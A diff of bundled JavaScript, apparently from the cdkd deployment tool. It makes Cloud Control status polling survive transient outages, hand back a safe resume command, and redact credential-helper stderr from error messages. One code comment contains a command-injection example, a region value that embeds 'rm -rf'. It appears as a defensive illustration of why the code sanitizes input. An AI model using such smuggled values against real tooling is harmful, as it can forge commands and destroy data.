* `@smithy/property-provider` exports a family of three -- `ProviderError`, and
|
|
30584
|
+
* its subclasses `CredentialsProviderError` and `TokenProviderError` -- plus
|
|
30585
|
+
* `@smithy/credential-provider-imds`'s `InstanceMetadataV1FallbackError`, the
|
|
30586
|
+
* only subclass OF `CredentialsProviderError` in the installed tree. (All four
|
|
30587
|
+
* set `name`; the qualifier is what makes the sentence true, and an earlier
|
|
30588
|
+
* revision read "the only subclass that overrides `name`", which is false of
|
|
30589
|
+
* the three siblings.) Each was read rather than reasoned about, because the
|
|
30590
|
+
* answers differ and go BOTH ways:
|
|
30591
|
+
*
|
|
30592
|
+
* - `CredentialsProviderError` is the one that leaks.
|
|
30593
|
+
* `@aws-sdk/credential-provider-process` wraps EVERY exec failure in it, so
|
|
30594
|
+
* its message interpolates the helper's ARGV and its stderr. Measured
|
|
30595
|
+
* through a real client: `Command failed: /bin/sh -c 'echo "vault: token
|
|
30596
|
+
* hvs.<...> rejected" >&2; exit 1'` followed by that stderr. An aws-vault /
|
|
30597
|
+
* saml2aws setup whose credentials expire mid-wait would persist a token.
|
|
30598
|
+
* - `TokenProviderError` must NOT be reduced. Its message IS the remedy --
|
|
30599
|
+
* `Token is expired. To refresh this SSO session run 'aws sso login' with
|
|
30600
|
+
* the corresponding profile.` -- so reducing it to a wire name would delete
|
|
30601
|
+
* the fix instruction. A round-9 revision of this predicate matched the
|
|
30602
|
+
* whole `*ProviderError` suffix and did exactly that.
|
|
30603
|
+
*
|
|
30604
|
+
* The benefit is NOT realized on THIS path today, and saying otherwise was
|
|
30605
|
+
* the claim review measured false: `@aws-sdk/credential-provider-sso`
|
|
30606
|
+
* catches every token failure and rethrows it as a
|
|
30607
|
+
* `CredentialsProviderError`, so the shape cannot escape a SigV4 client and
|
|
30608
|
+
* an SSO expiry reaches here already reduced. The carve-out is a rule about
|
|
30609
|
+
* the FAMILY, kept because the rewrap is upstream behaviour that can change
|
|
30610
|
+
* and because the reduction is wrong for this class on any path that does
|
|
30611
|
+
* surface it -- not a user-visible improvement this PR delivers.
|
|
30612
|
+
* - `ProviderError` (the base) and `InstanceMetadataV1FallbackError` carry
|
|
30613
|
+
* connectivity and CONFIG wording respectively -- the IMDS one interpolates
|
|
30614
|
+
* three fixed literals naming config keys, with no argv, stderr, profile
|
|
30615
|
+
* value or identity in it. Both are more useful raw.
|
|
30616
|
+
*
|
|
30617
|
+
* So string EQUALITY is right here, and it is right by enumeration rather than
|
|
30618
|
+
* by assumption. Re-check this list when the SDK major moves; do not widen it
|
|
30619
|
+
* to a suffix.
|
|
30620
|
+
*
|
|
30621
|
+
* The specific mechanism to re-check is `ProviderError.from()`, which does
|
|
30622
|
+
* `Object.assign(new this(...), error)` -- that copies a SOURCE error's own
|
|
30623
|
+
* `name` over the class field and would defeat string equality outright. It
|
|
30624
|
+
* has ZERO call sites anywhere in `node_modules` today, which is the only
|
|
30625
|
+
* reason equality is safe rather than merely correct-looking.
|
|
30626
|
+
*/
|
|
30627
|
+
const CREDENTIAL_LEAK_ERROR_NAME = "CredentialsProviderError";
|
|
30628
|
+
/**
|
|
30629
|
+
* Decide what a `GetResourceRequestStatus` failure may say outside `--verbose`.
|
|
30630
|
+
*
|
|
30631
|
+
* ONE function because there are TWO readers and they must not disagree about
|
|
30632
|
+
* one error: `abandonWait`, whose message is persisted verbatim into
|
|
30633
|
+
* `deployments/{runId}.jsonl`, and the re-poll `logger.warn`, which runs at
|
|
30634
|
+
* DEFAULT verbosity. They were separate, and the gap was reachable rather than
|
|
30635
|
+
* theoretical -- `POLL_TRANSPORT_CODE_IN_MESSAGE` matches a socket code
|
|
30636
|
+
* ANYWHERE in the message, so a `credential_process` stderr that happens to
|
|
30637
|
+
* contain `ETIMEDOUT` classifies as transient, and the warn printed the helper
|
|
30638
|
+
* argv and stderr on every re-poll while the abandonment that eventually
|
|
30639
|
+
* followed reduced them.
|
|
30640
|
+
*
|
|
30641
|
+
* The authorship test is NOT `describeAwsFailure`'s. That one keys on the mere
|
|
30642
|
+
* PRESENCE of `$metadata`, and `@smithy/core`'s retry middleware stamps
|
|
30643
|
+
* `$metadata = {attempts, totalRetryDelay}` onto EVERY error it gives up on --
|
|
30644
|
+
* socket errors included. Measured against a real client pointed at a closed
|
|
30645
|
+
* port:
|
|
30646
|
+
*
|
|
30647
|
+
* name 'Error', code 'ECONNREFUSED', $fault undefined,
|
|
30648
|
+
* message 'connect ECONNREFUSED 127.0.0.1:1',
|
|
30649
|
+
* $metadata { attempts: 3, totalRetryDelay: 58 }
|
|
30650
|
+
*
|
|
30651
|
+
* so reducing on it DELETES `connect ECONNREFUSED ...` -- the exact wording
|
|
30652
|
+
* issue [#3236](https://github.com/go-to-k/cdkd/issues/3236) was reported with
|
|
30653
|
+
* -- and leaves the bare token `Error.`, a socket error's `name` being `Error`.
|
|
30654
|
+
* The discriminator here is a real SERVICE signal instead: `$fault`, or a
|
|
30655
|
+
* NUMERIC `$metadata.httpStatusCode`, which a transport failure never carries
|
|
30656
|
+
* and a service rejection always does.
|
|
30657
|
+
*
|
|
30658
|
+
* Credential resolution carries NEITHER signal, which is why
|
|
30659
|
+
* {@link CREDENTIAL_LEAK_ERROR_NAME} is a third arm. That is measured, not
|
|
30660
|
+
* read off the middleware table -- review round 8 argued from middleware
|
|
30661
|
+
* priorities that identity is resolved inside the retry middleware, and a real
|
|
30662
|
+
* `CloudControlClient` whose credential provider throws answers
|
|
30663
|
+
* `{name:'CredentialsProviderError', $fault: undefined, $metadata: undefined}`.
|
|
30664
|
+
* The mechanism, confirmed afterwards: identity is resolved by
|
|
30665
|
+
* `httpAuthSchemeMiddleware` at step `serialize`, which WRAPS retry's
|
|
30666
|
+
* `finalizeRequest`, and retry's own catch CREATES `$metadata` when it is
|
|
30667
|
+
* absent -- so an escaping error with none PROVES it never entered retry. Do
|
|
30668
|
+
* not "correct" this back.
|
|
30669
|
+
*
|
|
30670
|
+
* Retiring the divergence with the shared helper is
|
|
30671
|
+
* [#3297](https://github.com/go-to-k/cdkd/issues/3297).
|
|
30672
|
+
*/
|
|
30673
|
+
function describePollFailure(error) {
|
|
30674
|
+
if (error === void 0) return {
|
|
30675
|
+
display: "",
|
|
30676
|
+
detail: "",
|
|
30677
|
+
marker: false
|
|
30678
|
+
};
|
|
30679
|
+
if (!(error instanceof Error)) {
|
|
30680
|
+
const other = describeAwsFailure(error);
|
|
30681
|
+
return {
|
|
30682
|
+
display: other.summary,
|
|
30683
|
+
detail: other.detail,
|
|
30684
|
+
marker: false
|
|
30685
|
+
};
|
|
30686
|
+
}
|
|
30687
|
+
if (!(error.$fault !== void 0 || typeof error.$metadata?.httpStatusCode === "number" || error.name === CREDENTIAL_LEAK_ERROR_NAME)) return {
|
|
30688
|
+
display: error.message,
|
|
30689
|
+
detail: "",
|
|
30690
|
+
marker: false
|
|
30691
|
+
};
|
|
30692
|
+
if (error.message === "") return {
|
|
30693
|
+
display: "",
|
|
30694
|
+
detail: "",
|
|
30695
|
+
marker: false
|
|
30696
|
+
};
|
|
30697
|
+
return {
|
|
30698
|
+
display: redactedAwsFailureSummary(error),
|
|
30699
|
+
detail: error.message,
|
|
30700
|
+
marker: true
|
|
30701
|
+
};
|
|
30702
|
+
}
|
|
30703
|
+
/**
|
|
30704
|
+
* True when a `GetResourceRequestStatus` call failed for a reason that says
|
|
30705
|
+
* nothing about the OPERATION — the poll could not be delivered or answered,
|
|
30706
|
+
* so re-polling the same token is the correct response.
|
|
30707
|
+
*
|
|
30708
|
+
* Fail-CLOSED: an unmodelled shape answers false, so the wait is not RETRIED.
|
|
30709
|
+
* It is still ABANDONED rather than aborted bare — the caller carries the
|
|
30710
|
+
* request token out on that arm too, since losing the handle is issue #3236's
|
|
30711
|
+
* defect whatever the trigger. The safe direction here is about retrying, not
|
|
30712
|
+
* about reporting: the errors this must NOT absorb are the ones a retry can
|
|
30713
|
+
* only re-derive —
|
|
30714
|
+
* `RequestTokenNotFoundException` (the token is genuinely gone),
|
|
30715
|
+
* `AccessDeniedException`, `ValidationException`.
|
|
30716
|
+
*
|
|
30717
|
+
* Throttles and transient 5xx are in scope alongside transport, and not as a
|
|
30718
|
+
* generalization for its own sake: they are the same defect with a different
|
|
30719
|
+
* trigger, and the throttle case is the WORSE of the two today. The abort
|
|
30720
|
+
* is retryable by BOTH routes the classifier offers — `isThrottlingError`'s
|
|
30721
|
+
* chain walk over the threaded cause, and (before the cause is reduced to its
|
|
30722
|
+
* wire code) AWS's own `Rate exceeded` wording against
|
|
30723
|
+
* `RETRYABLE_ERROR_MESSAGE_PATTERNS` — so the deploy engine's outer `withRetry`
|
|
30724
|
+
* re-invokes `create()` and duplicates a resource that is already being created
|
|
30725
|
+
* (go-to-k/cdkd#2039), where the transport case merely loses track of one.
|
|
30726
|
+
* Measured, not assumed: `isRetryableTransientError` answers true for a
|
|
30727
|
+
* throttle and false for `connect ECONNREFUSED ...`.
|
|
30728
|
+
*
|
|
30729
|
+
* The message arm exists for a wrapper that dropped `.code` while keeping the
|
|
30730
|
+
* text. It is scoped by its SOURCE — the only input is an error thrown by the
|
|
30731
|
+
* SDK out of `cloudControlClient.send`, never template- or user-authored text
|
|
30732
|
+
* — so an `E`-prefixed token there denotes a socket error rather than
|
|
30733
|
+
* something a user happened to type.
|
|
30734
|
+
*/
|
|
30735
|
+
function isTransientPollFailure(error) {
|
|
30736
|
+
if (isThrottlingError(error) || isTransientServerError(error)) return true;
|
|
30737
|
+
let current = error;
|
|
30738
|
+
for (let depth = 0; depth < POLL_CAUSE_CHAIN_DEPTH && current != null; depth++) {
|
|
30739
|
+
const code = current.code;
|
|
30740
|
+
if (typeof code === "string" && POLL_TRANSPORT_ERROR_CODES.has(code)) return true;
|
|
30741
|
+
const name = current.name;
|
|
30742
|
+
if (typeof name === "string" && POLL_TRANSPORT_ERROR_NAMES.has(name)) return true;
|
|
30743
|
+
const message = current.message;
|
|
30744
|
+
if (typeof message === "string" && POLL_TRANSPORT_CODE_IN_MESSAGE.test(message)) return true;
|
|
30745
|
+
current = current.cause;
|
|
30746
|
+
}
|
|
30747
|
+
return false;
|
|
30748
|
+
}
|
|
30749
|
+
/**
|
|
29296
30750
|
* Matches service-worded "the resource is gone" failure messages, including
|
|
29297
30751
|
* shapes whose wording lacks the canonical `not found` substring (CodeDeploy:
|
|
29298
30752
|
* "No Deployment Group found for name: ..."). Deliberately scoped to the
|
|
@@ -29496,6 +30950,34 @@ var CloudControlProvider = class {
|
|
|
29496
30950
|
MAX_WAIT_TIME_MS = 9e5;
|
|
29497
30951
|
INITIAL_POLL_INTERVAL_MS = 1e3;
|
|
29498
30952
|
MAX_POLL_INTERVAL_MS = 1e4;
|
|
30953
|
+
/**
|
|
30954
|
+
* How long an UNBROKEN run of transient poll failures is tolerated before
|
|
30955
|
+
* `waitForOperation` gives up and throws {@link CloudControlWaitAbandonedError}
|
|
30956
|
+
* (issue #3236). Reset by any poll that gets an answer, so it measures one
|
|
30957
|
+
* outage rather than a session's total flakiness.
|
|
30958
|
+
*
|
|
30959
|
+
* It is a SECOND bound INSIDE the existing wall-clock budget, never an
|
|
30960
|
+
* extension of one: the `while` condition below still holds, so re-polling
|
|
30961
|
+
* can only consume time the wait already had. `slow-cc-operation-timeouts.ts`
|
|
30962
|
+
* couples that budget to the two outer per-resource deadlines deliberately,
|
|
30963
|
+
* and a separate attempt budget able to outlive it would break the coupling.
|
|
30964
|
+
*
|
|
30965
|
+
* Two minutes because the failures that reach this loop have already
|
|
30966
|
+
* outlasted the SDK's own three STANDARD-mode attempts, so the population is
|
|
30967
|
+
* outages of seconds to minutes — a VPN reconnect, a DHCP renew, a throttle
|
|
30968
|
+
* that needs more than the SDK's sub-second backoff. Waiting the FULL budget
|
|
30969
|
+
* instead (up to 60 min for a slow type) would buy nothing the resume hint
|
|
30970
|
+
* does not: past this point the operation is equally unreachable, and the
|
|
30971
|
+
* user gets the same request token thirteen to fifty-eight minutes sooner.
|
|
30972
|
+
*/
|
|
30973
|
+
POLL_TRANSIENT_GRACE_MS = 12e4;
|
|
30974
|
+
/**
|
|
30975
|
+
* The grace `disableCcProtection`'s wait takes instead (issue
|
|
30976
|
+
* go-to-k/cdkd#3253 item 1). Its call site carries the reasoning; the short
|
|
30977
|
+
* version is that the flip is best-effort and swallowed, so a long wait there
|
|
30978
|
+
* is dead wall clock on a destroy that is failing anyway.
|
|
30979
|
+
*/
|
|
30980
|
+
PROTECTION_FLIP_TRANSIENT_GRACE_MS = 1e4;
|
|
29499
30981
|
constructor() {
|
|
29500
30982
|
const awsClients = getAwsClients();
|
|
29501
30983
|
this.cloudControlClient = awsClients.cloudControl;
|
|
@@ -29571,17 +31053,21 @@ var CloudControlProvider = class {
|
|
|
29571
31053
|
try {
|
|
29572
31054
|
const cleanupResult = await this.delete(logicalId, error.physicalId, resourceType);
|
|
29573
31055
|
if (cleanupResult?.outcome === "skipped") {
|
|
29574
|
-
this.logger.warn(`Skipped deleting the remnant ${error.physicalId} left by the failed CREATE of ${logicalId}
|
|
31056
|
+
this.logger.warn(`Skipped deleting the remnant ${error.physicalId} left by the failed CREATE of ${logicalId} (a retry may fail with AlreadyExists until it is removed manually): ${displaySafe(cleanupResult.reason)}`);
|
|
29575
31057
|
return;
|
|
29576
31058
|
}
|
|
29577
31059
|
this.logger.debug(`Removed failed-create remnant ${error.physicalId} for ${logicalId}`);
|
|
29578
31060
|
} catch (cleanupError) {
|
|
29579
31061
|
const message = cleanupError instanceof Error ? cleanupError.message : String(cleanupError);
|
|
31062
|
+
if (isWaitAbandonedError(cleanupError)) {
|
|
31063
|
+
this.logger.warn(`Could not confirm whether the remnant ${error.physicalId} left by the failed CREATE of ${logicalId} was removed (a retry may fail with AlreadyExists until it is removed manually): ${displaySafe(message)}`);
|
|
31064
|
+
return;
|
|
31065
|
+
}
|
|
29580
31066
|
if (isNotFoundMessage(message)) {
|
|
29581
31067
|
this.logger.info(`The remnant ${error.physicalId} left by the failed CREATE of ${logicalId} was already gone (not found); nothing to clean up`);
|
|
29582
31068
|
return;
|
|
29583
31069
|
}
|
|
29584
|
-
this.logger.warn(`Failed to delete the remnant ${error.physicalId} left by the failed CREATE of ${logicalId}
|
|
31070
|
+
this.logger.warn(`Failed to delete the remnant ${error.physicalId} left by the failed CREATE of ${logicalId} (a retry may fail with AlreadyExists until it is removed manually): ${displaySafe(message)}`);
|
|
29585
31071
|
}
|
|
29586
31072
|
}
|
|
29587
31073
|
/**
|
|
@@ -29652,7 +31138,7 @@ var CloudControlProvider = class {
|
|
|
29652
31138
|
const indeterminateGuard = await this.confirmDeleteTargetIdentity(logicalId, resourceType, physicalId, context);
|
|
29653
31139
|
if (context?.removeProtection === true && resourceType === "AWS::AutoScaling::AutoScalingGroup") {
|
|
29654
31140
|
this.logger.debug(`Delegating protected AutoScalingGroup ${logicalId} delete to the SDK ASGProvider (Cloud Control cannot force-delete a protected ASG)`);
|
|
29655
|
-
const { ASGProvider } = await import("./asg-provider-
|
|
31141
|
+
const { ASGProvider } = await import("./asg-provider-Di5-tD3l.js").then((n) => n.n);
|
|
29656
31142
|
const asgProvider = new ASGProvider();
|
|
29657
31143
|
return withIndeterminateGuard(await asgProvider.delete(logicalId, physicalId, resourceType, _properties, context), indeterminateGuard);
|
|
29658
31144
|
}
|
|
@@ -29675,7 +31161,8 @@ var CloudControlProvider = class {
|
|
|
29675
31161
|
return withIndeterminateGuard(void 0, indeterminateGuard);
|
|
29676
31162
|
} catch (error) {
|
|
29677
31163
|
const err = error;
|
|
29678
|
-
|
|
31164
|
+
const notFoundErrorCode = error instanceof CloudControlOperationFailedError && error.ccOperation === "DELETE" && error.ccErrorCode === "NotFound";
|
|
31165
|
+
if (!isWaitAbandonedError(error) && (notFoundErrorCode || err.name === "ResourceNotFoundException" || err.message?.includes("does not exist") || err.message?.includes("not found") || err.message?.includes("NotFound"))) {
|
|
29679
31166
|
await this.assertRecordedRegionAgainstClient("not-found", context?.expectedRegion, resourceType, logicalId, physicalId);
|
|
29680
31167
|
this.logger.debug(`Resource ${logicalId} already deleted (not found), treating as success`);
|
|
29681
31168
|
return withIndeterminateGuard(void 0, indeterminateGuard);
|
|
@@ -29740,7 +31227,7 @@ var CloudControlProvider = class {
|
|
|
29740
31227
|
try {
|
|
29741
31228
|
clientRegion = canonicalizeRegion((await this.cloudControlClient.config.region())?.trim());
|
|
29742
31229
|
} catch (error) {
|
|
29743
|
-
this.logger.debug(`Could not resolve the Cloud Control client region before the ${phase} region check for ${logicalId} (${resourceType}): ${
|
|
31230
|
+
this.logger.debug(`Could not resolve the Cloud Control client region before the ${phase} region check for ${logicalId} (${resourceType}): ${displaySafe(describeAwsFailure(error).detail)}`);
|
|
29744
31231
|
clientRegion = void 0;
|
|
29745
31232
|
}
|
|
29746
31233
|
try {
|
|
@@ -29903,11 +31390,14 @@ var CloudControlProvider = class {
|
|
|
29903
31390
|
this.logger.warn(`Could not disable ${protectionProperty} on ${logicalId}: no request token received; proceeding with delete`);
|
|
29904
31391
|
return;
|
|
29905
31392
|
}
|
|
29906
|
-
await this.waitForOperation(response.ProgressEvent.RequestToken, logicalId, "UPDATE", resourceType);
|
|
31393
|
+
await this.waitForOperation(response.ProgressEvent.RequestToken, logicalId, "UPDATE", resourceType, this.PROTECTION_FLIP_TRANSIENT_GRACE_MS);
|
|
29907
31394
|
this.logger.debug(`Disabled ${protectionProperty} on ${logicalId}`);
|
|
29908
31395
|
} catch (error) {
|
|
29909
|
-
const
|
|
29910
|
-
|
|
31396
|
+
const described = describePollFailure(error);
|
|
31397
|
+
const safeMessage = displaySafe(described.display);
|
|
31398
|
+
this.logger.warn(`Could not disable ${protectionProperty} on ${logicalId} (${resourceType}), proceeding with delete${safeMessage === "" ? "" : `: ${safeMessage}`}`);
|
|
31399
|
+
const detail = described.detail;
|
|
31400
|
+
if (detail !== "") this.logger.debug(`Could not disable ${protectionProperty} on ${logicalId}, underlying failure: ${displaySafe(detail)}`);
|
|
29911
31401
|
}
|
|
29912
31402
|
}
|
|
29913
31403
|
/**
|
|
@@ -29927,17 +31417,61 @@ var CloudControlProvider = class {
|
|
|
29927
31417
|
}
|
|
29928
31418
|
}
|
|
29929
31419
|
/**
|
|
29930
|
-
* Wait for an asynchronous operation to complete
|
|
31420
|
+
* Wait for an asynchronous operation to complete.
|
|
31421
|
+
*
|
|
31422
|
+
* Reached from FOUR call sites — `create()`, `update()`, `delete()` and
|
|
31423
|
+
* `disableCcProtection()` — so everything here is CREATE / UPDATE / DELETE
|
|
31424
|
+
* behavior at once.
|
|
31425
|
+
*
|
|
31426
|
+
* The poll is fenced against its own transport (issue #3236). Before that,
|
|
31427
|
+
* a `GetResourceRequestStatus` that failed for ANY reason propagated out of
|
|
31428
|
+
* this loop, out of `create()`, and took the `RequestToken` — which lives
|
|
31429
|
+
* only in this parameter list — with it. The Cloud Control operation keeps
|
|
31430
|
+
* running server-side regardless, so a CREATE that AWS went on to complete
|
|
31431
|
+
* left a live resource with no state record: invisible to rollback, to
|
|
31432
|
+
* `cdkd destroy`, and to `cleanupFailedCreateRemnant` (whose first guard
|
|
31433
|
+
* admits only a `CloudControlOperationFailedError`, which a transport
|
|
31434
|
+
* failure never is). Reported against a `AWS::RDS::DBInstance` whose CREATE
|
|
31435
|
+
* outlived a dropped VPN; the untracked instance then blocked the deletion
|
|
31436
|
+
* of five tracked resources that depended on it.
|
|
31437
|
+
*
|
|
31438
|
+
* Re-polling is IDEMPOTENT in a way replaying the create is not, which is
|
|
31439
|
+
* what makes this the right layer for the fix: `GetResourceRequestStatus`
|
|
31440
|
+
* invokes no resource handler and the token is unchanged across attempts, so
|
|
31441
|
+
* the duplicate-create hazard of go-to-k/cdkd#2039 is structurally absent.
|
|
31442
|
+
* The complementary half is {@link CloudControlWaitAbandonedError}, for the
|
|
31443
|
+
* outage that outlives the grace or the budget.
|
|
29931
31444
|
*/
|
|
29932
|
-
async waitForOperation(requestToken, logicalId, operation, resourceType) {
|
|
31445
|
+
async waitForOperation(requestToken, logicalId, operation, resourceType, transientGraceMs = this.POLL_TRANSIENT_GRACE_MS) {
|
|
29933
31446
|
const startTime = Date.now();
|
|
29934
31447
|
let attempts = 0;
|
|
29935
31448
|
let pollInterval = this.INITIAL_POLL_INTERVAL_MS;
|
|
31449
|
+
let lastSeenIdentifier;
|
|
31450
|
+
let transientOutageStartedAt;
|
|
31451
|
+
let lastTransientError;
|
|
29936
31452
|
const maxWaitMs = Math.max(this.MAX_WAIT_TIME_MS, slowCcOperationTimeoutMs(resourceType, operation));
|
|
29937
31453
|
while (Date.now() - startTime < maxWaitMs) {
|
|
29938
31454
|
attempts++;
|
|
29939
|
-
|
|
31455
|
+
let statusResponse;
|
|
31456
|
+
try {
|
|
31457
|
+
statusResponse = await this.cloudControlClient.send(new GetResourceRequestStatusCommand({ RequestToken: requestToken }));
|
|
31458
|
+
} catch (error) {
|
|
31459
|
+
if (!isTransientPollFailure(error)) throw await this.abandonWait(requestToken, logicalId, operation, resourceType, lastSeenIdentifier, "cdkd could not read the operation status and the failure is not retryable", error);
|
|
31460
|
+
transientOutageStartedAt ??= Date.now();
|
|
31461
|
+
lastTransientError = error;
|
|
31462
|
+
const outageMs = Date.now() - transientOutageStartedAt;
|
|
31463
|
+
if (outageMs >= transientGraceMs) throw await this.abandonWait(requestToken, logicalId, operation, resourceType, lastSeenIdentifier, `cdkd could not reach Cloud Control API for ${Math.round(outageMs / 1e3)}s`, error);
|
|
31464
|
+
const safePollText = displaySafe(describePollFailure(error).display);
|
|
31465
|
+
this.logger.warn(`${operation} ${logicalId}: could not read the Cloud Control operation status (attempt ${attempts})${safePollText === "" ? "" : `: ${safePollText}`} — the operation may still be running in AWS; re-polling the same request token in ${pollInterval}ms`);
|
|
31466
|
+
await this.sleep(pollInterval);
|
|
31467
|
+
pollInterval = Math.min(Math.ceil(pollInterval * 1.5), this.MAX_POLL_INTERVAL_MS);
|
|
31468
|
+
continue;
|
|
31469
|
+
}
|
|
31470
|
+
transientOutageStartedAt = void 0;
|
|
31471
|
+
lastTransientError = void 0;
|
|
31472
|
+
const progressEvent = statusResponse.ProgressEvent;
|
|
29940
31473
|
if (!progressEvent) throw new ProvisioningError(`Failed to get status for ${logicalId}: No progress event`, "Unknown", logicalId);
|
|
31474
|
+
if (progressEvent.Identifier) lastSeenIdentifier = progressEvent.Identifier;
|
|
29941
31475
|
this.logger.debug(`${operation} ${logicalId}: ${progressEvent.OperationStatus} (attempt ${attempts}, next poll ${pollInterval}ms)`);
|
|
29942
31476
|
switch (progressEvent.OperationStatus) {
|
|
29943
31477
|
case "SUCCESS": return progressEvent;
|
|
@@ -29957,12 +31491,93 @@ var CloudControlProvider = class {
|
|
|
29957
31491
|
pollInterval = Math.min(Math.ceil(pollInterval * 1.5), this.MAX_POLL_INTERVAL_MS);
|
|
29958
31492
|
}
|
|
29959
31493
|
}
|
|
29960
|
-
throw
|
|
31494
|
+
throw await this.abandonWait(requestToken, logicalId, operation, resourceType, lastSeenIdentifier, `${operation} timeout for ${logicalId} after ${maxWaitMs / 1e3}s`, lastTransientError);
|
|
31495
|
+
}
|
|
31496
|
+
/**
|
|
31497
|
+
* Build the {@link CloudControlWaitAbandonedError} for a wait cdkd is giving
|
|
31498
|
+
* up on while the operation is, as far as cdkd knows, still running (issue
|
|
31499
|
+
* [#3236](https://github.com/go-to-k/cdkd/issues/3236)).
|
|
31500
|
+
*
|
|
31501
|
+
* Returns rather than throws so every call site reads `throw await
|
|
31502
|
+
* this.abandonWait(...)` — the `throw` stays visible at the site, which is
|
|
31503
|
+
* what keeps the control flow legible to the compiler and to a reader.
|
|
31504
|
+
*
|
|
31505
|
+
* CREATE is marked non-retryable and the other two are not, and the
|
|
31506
|
+
* asymmetry is the whole point rather than an oversight:
|
|
31507
|
+
*
|
|
31508
|
+
* - **CREATE** — a replay issues a SECOND `CreateResource` for a resource
|
|
31509
|
+
* the first call is already creating, which is go-to-k/cdkd#2039's
|
|
31510
|
+
* duplicate-create. It must be refused, and the marker is what refuses
|
|
31511
|
+
* it — but by a different mechanism than an earlier revision of this
|
|
31512
|
+
* comment claimed. That one said the message interpolates AWS's own
|
|
31513
|
+
* `Rate exceeded`, which `RETRYABLE_ERROR_MESSAGE_PATTERNS` matches; a
|
|
31514
|
+
* real `ThrottlingException` carries `$fault`, so its cause is REDUCED to
|
|
31515
|
+
* the wire code and the message no longer contains that wording.
|
|
31516
|
+
* Re-measured at this head: without the marker `isRetryableTransientError`
|
|
31517
|
+
* still answers TRUE, via `isThrottlingError`'s CHAIN walk over the
|
|
31518
|
+
* threaded cause rather than via the message. The marker stays
|
|
31519
|
+
* load-bearing; only the route changed.
|
|
31520
|
+
* - **DELETE** — a replay issues a second `DeleteResource`, which is
|
|
31521
|
+
* idempotent: if the first delete landed, the retry meets the
|
|
31522
|
+
* already-gone signal `delete()` absorbs. Retrying is strictly better
|
|
31523
|
+
* than surfacing a failure over a resource that may be gone.
|
|
31524
|
+
* - **UPDATE** — a replay re-derives and re-sends the same patch, the
|
|
31525
|
+
* behavior every other UPDATE failure already gets.
|
|
31526
|
+
*/
|
|
31527
|
+
async abandonWait(requestToken, logicalId, operation, resourceType, lastSeenIdentifier, reason, cause) {
|
|
31528
|
+
const described = describePollFailure(cause);
|
|
31529
|
+
const safeDisplay = displaySafe(described.display);
|
|
31530
|
+
const causeText = safeDisplay === "" ? "" : `: ${safeDisplay}`;
|
|
31531
|
+
if (described.detail !== "") this.logger.debug(`${operation} ${logicalId}: the abandoned operation's underlying failure was: ${displaySafe(described.detail)}`);
|
|
31532
|
+
const identifierClause = lastSeenIdentifier === void 0 ? "" : ` The last status cdkd read named the resource ${displaySafe(lastSeenIdentifier, { asciiOnly: true })}.`;
|
|
31533
|
+
const error = new CloudControlWaitAbandonedError(`${operation} of ${logicalId} was accepted by Cloud Control API, but cdkd stopped waiting for it (${reason}${causeText}). The operation may still be running in AWS, and ${operation === "CREATE" ? "cdkd has NO state record for it, so any resource it creates is untracked by rollback and by cdkd destroy" : operation === "DELETE" ? "the resource may or may not have been removed; its state record is kept so a re-run can finish the delete" : "its state record still holds the PREVIOUS properties, so the record may no longer describe the live resource"}.${identifierClause} Check what it did with:\n ${await this.buildResumeCommand(requestToken)}`, resourceType, logicalId, requestToken, operation, lastSeenIdentifier, cause instanceof Error ? cause : void 0);
|
|
31534
|
+
if (described.marker) markRedactedCause(error);
|
|
31535
|
+
return operation === "CREATE" ? markNonRetryable(error) : error;
|
|
31536
|
+
}
|
|
31537
|
+
/**
|
|
31538
|
+
* The `aws cloudcontrol get-resource-request-status` line an abandoned wait
|
|
31539
|
+
* hands the user — the only way back to an operation cdkd has no record of.
|
|
31540
|
+
*
|
|
31541
|
+
* SANITIZE-then-QUOTE-then-SUPPRESS, the full convention
|
|
31542
|
+
* `replacement-protection-advice.ts` applies (issue
|
|
31543
|
+
* [#2669](https://github.com/go-to-k/cdkd/issues/2669)) — quoting ALONE is
|
|
31544
|
+
* not it, and the gap is not theoretical here. The region comes from
|
|
31545
|
+
* `config.region()`, i.e. `--region` / `AWS_REGION` / a profile's `region =`
|
|
31546
|
+
* line, so it is USER text: `AWS_REGION=$'us-east-1\nrm -rf x'` is inert once
|
|
31547
|
+
* `shellQuote` wraps it, and still renders a two-line "recovery command" on
|
|
31548
|
+
* the terminal and into `deployments/{runId}.jsonl` — the forgery
|
|
31549
|
+
* `lock-contention-message.ts` says quoting does not cover. So each part is
|
|
31550
|
+
* `displaySafe`d first and DROPPED when sanitizing changed it: the region
|
|
31551
|
+
* flag is simply omitted (absent is already legal — the user supplies their
|
|
31552
|
+
* own), and a changed TOKEN suppresses the whole command, since a command
|
|
31553
|
+
* naming the wrong operation is worse than none.
|
|
31554
|
+
*
|
|
31555
|
+
* The region is best-effort in a second sense: `config.region` is a resolver
|
|
31556
|
+
* that can throw (no credentials, no configured region), and a wait that
|
|
31557
|
+
* already failed must not fail a second time inside its own error message.
|
|
31558
|
+
*/
|
|
31559
|
+
async buildResumeCommand(requestToken) {
|
|
31560
|
+
const safeToken = displaySafe(requestToken, { asciiOnly: true });
|
|
31561
|
+
if (!safeToken || safeToken !== requestToken) return "(cdkd cannot render a safe resume command for this request token — see the Cloud Control console)";
|
|
31562
|
+
let region;
|
|
31563
|
+
try {
|
|
31564
|
+
region = (await this.cloudControlClient.config.region())?.trim();
|
|
31565
|
+
} catch {
|
|
31566
|
+
region = void 0;
|
|
31567
|
+
}
|
|
31568
|
+
const safeRegion = region === void 0 || region === "" || displaySafe(region, { asciiOnly: true }) !== region ? void 0 : region;
|
|
31569
|
+
const regionFlag = safeRegion === void 0 ? "" : ` --region ${shellQuote(safeRegion)}`;
|
|
31570
|
+
return `aws cloudcontrol get-resource-request-status --request-token ${shellQuote(safeToken)}${regionFlag}`;
|
|
29961
31571
|
}
|
|
29962
31572
|
/**
|
|
29963
31573
|
* Parse resource model JSON string.
|
|
29964
31574
|
*
|
|
29965
|
-
* On a parse failure
|
|
31575
|
+
* On a parse failure the WARN line logs the error's CLASS plus the model's
|
|
31576
|
+
* SHAPE. The `debug` line beside it DOES carry the raw parser message, echo
|
|
31577
|
+
* included, and naming that carve-out is the point (issue
|
|
31578
|
+
* [#3290](https://github.com/go-to-k/cdkd/issues/3290)): an unqualified
|
|
31579
|
+
* promise that a sibling line falsifies is exactly what that issue was filed
|
|
31580
|
+
* for. What follows is about the WARN line — never its
|
|
29966
31581
|
* body (issue #1908, a GHSA-p5qg-v9gv-hc7w residual). The model is an AWS
|
|
29967
31582
|
* readback, and a read handler cannot return write-only properties (the #809
|
|
29968
31583
|
* premise), so the common secret shapes are absent — but a `{{resolve:...}}`
|
|
